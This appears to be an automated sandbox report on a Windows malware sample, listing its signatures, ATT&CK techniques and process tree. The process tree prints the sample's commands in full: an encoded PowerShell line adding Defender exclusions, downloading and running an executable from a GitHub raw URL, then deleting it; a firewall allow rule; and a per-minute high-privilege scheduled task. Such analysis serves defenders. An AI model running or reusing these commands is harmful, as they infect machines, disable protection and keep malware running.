Analysis
- max time kernel
150s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/07/2026, 07:34
General
- Target 2026-07-18_746448481eb960b63d06e8cf4540c0e1_.exe
- Size 1.8MB
- Sample260718-jef33act9p
- SHA256 8580bcdab42a58f9e06e68e4ac00724c0480a47320bc25c6443db494e8b635d9
Malware Config
Signatures
- Modifies WinLogon for persistence 2 TTPs 1 IoCs
- Detects executables (downlaoders) containing URLs to raw contents of a paste 2 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 4 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 51 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-07-18_746448481eb960b63d06e8cf4540c0e1_.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-18_746448481eb960b63d06e8cf4540c0e1_.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c Powershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAIgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AaAB2AGMAYwB2AHYAYwAvAHkAZgBnAGQAcgBkAGYAZwBmAGQAZwAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBTAGgAZQBsAGwASABvAHMAdAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAUwBoAGUAbABsAEgAbwBzAHQALgBlAHgAZQAgADsAIABTAFQAQQBSAFQALQBTAEwARQBFAFAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANgAwADAAMAAgADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAvAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgAgAHIAdQBuAEEAcwA=2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -enc UwBUAEEAUgBUACAAUABPAFcARQBSAFMASABFAEwATAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAIAAnAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACAALQBGAE8AUgBDAEUAIAA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcASQBOAEQATwBXAFMAIAAtAEYATwBSAEMARQAgADsAIABDAFUAUgBMACAALQBPACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAIgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AaAB2AGMAYwB2AHYAYwAvAHkAZgBnAGQAcgBkAGYAZwBmAGQAZwAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBTAGgAZQBsAGwASABvAHMAdAAuAGUAeABlACAAOwAgAFMAVABBAFIAVAAgACQAZQBuAHYAOgBUAEUATQBQAFwAUwBoAGUAbABsAEgAbwBzAHQALgBlAHgAZQAgADsAIABTAFQAQQBSAFQALQBTAEwARQBFAFAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAANgAwADAAMAAgADsAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAHAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAAvAFMAaABlAGwAbABIAG8AcwB0AC4AZQB4AGUAJwAgAC0AVgAgAHIAdQBuAEEAcwA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:USERPROFILE -FORCE ; Add-MpPreference -ExclusionPath C:\WINDOWS -FORCE ; CURL -O "$env:TEMP\ShellHost.exe" https://github.com/hvccvvc/yfgdrdfgfdg/raw/refs/heads/main/ShellHost.exe ; START $env:TEMP\ShellHost.exe ; START-SLEEP -Milliseconds 6000 ; Remove-Item -path $env:TEMP/ShellHost.exe4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\ShellHost.exe"C:\Users\Admin\AppData\Local\Temp\ShellHost.exe"5⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\CMD.exe"CMD" netsh advfirewall firewall add rule name="{?Cl@Z|J@C/(@$" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exe" enable=yes & exit6⤵
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C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 1 /tn "ShellHost.exe" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exe" /RL HIGHEST & exit6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /mo 1 /tn "ShellHost.exe" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exe" /RL HIGHEST7⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exeC:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdSearch.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
StartupProfileData-NonInteractive
ShellHost.exe
__PSScriptPolicyTest_4gkp3m1n.jni.ps1
memory/2448-20-0x0000000000400000-0x00000000004FF000-memory.dmp
memory/2736-26-0x00000157DA500000-0x00000157DA5B2000-memory.dmp
memory/2736-28-0x00000157DA2D0000-0x00000157DA2DA000-memory.dmp
memory/2736-53-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2736-25-0x00000157DA4E0000-0x00000157DA4FE000-memory.dmp
memory/2736-27-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2736-12-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2736-13-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2736-14-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2736-15-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2736-18-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2736-22-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/2736-19-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4580-5-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4580-6-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4580-0-0x00007FF964A4F000-0x00007FF964A50000-memory.dmp
memory/4580-11-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4580-7-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4580-9-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4580-4-0x000002C12CEC0000-0x000002C12CEE2000-memory.dmp
memory/4580-3-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/4580-8-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/5612-37-0x000001E4778D0000-0x000001E477960000-memory.dmp